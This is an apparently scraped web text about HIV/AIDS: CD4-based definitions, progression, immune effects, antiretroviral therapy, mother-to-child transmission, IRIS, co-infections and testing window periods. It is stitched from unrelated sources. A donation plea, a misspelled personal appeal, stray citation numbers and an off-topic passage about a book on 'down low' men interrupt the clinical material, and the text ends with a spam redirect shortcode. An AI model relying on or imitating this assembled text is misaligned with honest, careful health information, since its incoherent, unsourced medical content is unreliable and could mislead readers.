The Centers for Disease Control has defined AIDS as beginning when a person with HIV infection has a CD4 cell (also called “t-cell”, a type of immune cell) count below 200. It is also defined by numerous opportunistic infections and cancers that occur in the presence of HIV infection.

It’s a fact: We are getting closer and closer to the epidemic’s end. But our progress is only as good as our ability to sustain it. Join us in our mission to end the AIDS epidemic in America by donating!

The time from HIV infection to the development of AIDS varies. Rarely, some individuals develop complications of HIV that define AIDS within one year, while others remain completely asymptomatic after as many as 20 years from the time of infection. However, in the absence of antiretroviral therapy, the time for progression from initial infection to AIDS is approximately eight to 10 years. The reason why people experience clinical progression of HIV at different rates remains an area of active research.

At this point, the viral load is typically very high, and the CD4+ T-cell count drops precipitously. With the appearance of anti-HIV antibodies and CD8+ T-cell responses, the viral load drops to a steady state and the CD4+ T-cell count returns to levels within the reference range, although slightly lower than before infection.

Moreover never loose hope for life as is the only chance which we got, who knows about the second life, if got infected accediently do not loose hope and do the best u can do for yourself and the society.

The humoral immune system is also affected. Hyperplasia of B cells in lymph nodes causes lymphadenopathy, and secretion of antibodies to previously encountered antigens increases, often leading to hyperglobulinemia. Total antibody levels (especially IgG and IgA) and titers against previously encountered antigens may be unusually high. However, antibody response to new antigens (eg, in vaccines) decreases as the CD4 count decreases.

HIV is a preventable disease. Effective HIV prevention interventions have been proven to reduce HIV transmission. People who get tested for HIV and learn that they are infected can make significant behavior changes to improve their health and reduce the risk of transmitting HIV to their sex or drug-using partners. Recent scientific advances have demonstrated that early initiation of antiretroviral therapy (ART) not only preserves the health of people living with HIV but also reduces their risk of transmitting HIV to others by 93%.3

It depends on if that person is on treatment and how the virus responds to early treatment. When treatment fails to decrease the replication of the virus, the effects can become life threatening, and the infection can progress to AIDS.

Untreated HIV destroys certain cells within the immune system (CD4+ or helper T cells) from the time of infection onwards, causing more and more damage. Eventually the damage to the immune system is so great the body can no longer stop some infections or cancers it normally fights successfully. Infections not usually seen in healthy people, called opportunistic infections, and certain unusual tumours such as Kaposi’s sarcoma, may occur. Women with untreated HIV infection are at increased risk of developing cervical cancer and both men and women are at increased risk of anal cancer. Untreated HIV can cause infection in the brain, which can lead to nervous system disorders or dementia in some people with HIV infection.

WHO recommends lifelong ART for all people living with HIV, regardless of their CD4 count clinical stage of disease, and this includes women who pregnant or breastfeeding. In 2016, 76% of the estimated 1.4 million pregnant women living with HIV globally received ARV treatments to prevent transmission to their children. A growing number of countries are achieving very low rates of MTCT and some (Armenia, Belarus, Cuba and Thailand) have been formally validated for elimination of MTCT of HIV as a public health problem. Several countries with a burden of HIV infection are also progressing along the path to elimination.

Health care professionals who fail to provide care to women who are infected with HIV because of personal practice preferences violate professional ethical standards. The public appropriately expects that health care practitioners will not discriminate based on diagnosis, provided that the patient’s care falls within their scope of practice. Physicians should demonstrate integrity, compassion, honesty, and empathy. Failure to provide health care to a woman solely because she is infected with HIV violates these fundamental characteristics. As with any other patient, it is acceptable, however, to refer women who are infected with HIV for care that the physician is not competent to provide or if care elsewhere would be more convenient or associated with decreased financial burden to the patient.

A poor CD4 count response is more likely if the CD4 count at initiation of treatment is low (especially if < 50/μL) and/or the HIV RNA level is high. However, marked improvement is likely even in patients with advanced immunosuppression. An increased CD4 count correlates with markedly decreased risk of opportunistic infections, other complications, and death. With immune restoration, patients, even those with complications that have no specific treatment (eg, HIV-induced cognitive dysfunction) or that were previously considered untreatable (eg, progressive multifocal leukoencephalopathy), may improve. Outcomes are also improved for patients with cancers (eg, lymphoma, Kaposi sarcoma) and most opportunistic infections. The FDA approved the first home testing kit; a viral load test to measure the level of HIV in the blood; the first non-nucleoside transcriptase inhibitor (NNRTI) drug (nevirapine); and the first HIV urine test.66 Patients beginning ART sometimes deteriorate clinically, even though HIV levels in their blood are suppressed and their CD4 count increases, because of an immune reaction to subclinical opportunistic infections or to residual microbial antigens after successful treatment of opportunistic infections. IRIS usually occurs in the first months of treatment but is occasionally delayed. IRIS can complicate virtually any opportunistic infection and even tumors (eg, Kaposi sarcoma) but is usually self-limited or responds to brief regimens of corticosteroids.

People living with HIV should seek to improve their general health by regularly exercising, eating healthfully, and not smoking. King’s subsequent 2004 book, “On the Down Low: A Journey Into the Lives of Straight Black Men Who Sleep With Men,” appeared on the New York Times best-seller list for a number of weeks and spawned two “Oprah” shows, an episode of “Law & Order S.V.U.,” a BET documentary, a sequel by King and another book by his ex-wife. Ta-Nehisi Coates jumped into the fray in a 2007 essay for Slate that questioned why the myth of the “on-the-down-low brother” refused to die, referencing a controversial 2003 cover story in this magazine by a white writer who went into the scene to uncover closeted black men who lead double lives. Once a person has been infected with HIV he or she remains infected for life and is able to transmit the virus to others. The risk of transmitting the infection to another person is dependent on the level of virus in body fluids of the infected person. According to the U.S. Centers for Disease Control and Prevention (CDC), there are 1.2 million people living with HIV (PLWH) in the United States, and approximately 40,000 people were diagnosed with HIV in 2015 alone. While the annual number of new diagnoses fell by 19% between 2005 and 2014, progress has been uneven. For example, gay and bisexual men made up an estimated 2% of the U.S. population in 2013 but 55% of all PLWH in the United States. If current diagnosis rates continue, 1 in 6 gay and bisexual men will be diagnosed with HIV in their lifetime. For Latino and Black men who have sex with men, the rates are in 1 in 4 and 1 in 2, respectively. Tuberculosis co-infection is one of the leading causes of sickness and death in those with HIV/AIDS being present in a third of all HIV-infected people and causing 25% of HIV-related deaths.[196] HIV is also one of the most important risk factors for tuberculosis.[197] Hepatitis C is another very common co-infection where each disease increases the progression of the other.[198] The two most common cancers associated with HIV/AIDS are Kaposi's sarcoma and AIDS-related non-Hodgkin's lymphoma.[191] Other cancers that are more frequent include anal cancer, Burkitt's lymphoma, primary central nervous system lymphoma, and cervical cancer.[29][199] No test is perfect. Tests may be falsely positive or falsely negative. For example, it can take some time for the immune system to produce enough antibodies for the antibody test to turn positive. This time period is commonly referred to as the "window period" and may last six weeks to three months following infection. The antigen/antibody assay is most sensitive and may be positive within two weeks after infection. If the initial antibody test is negative or unclear, a repeat test should be performed three months later. [redirect url='http://penetratearticles.info/bump' sec='7']
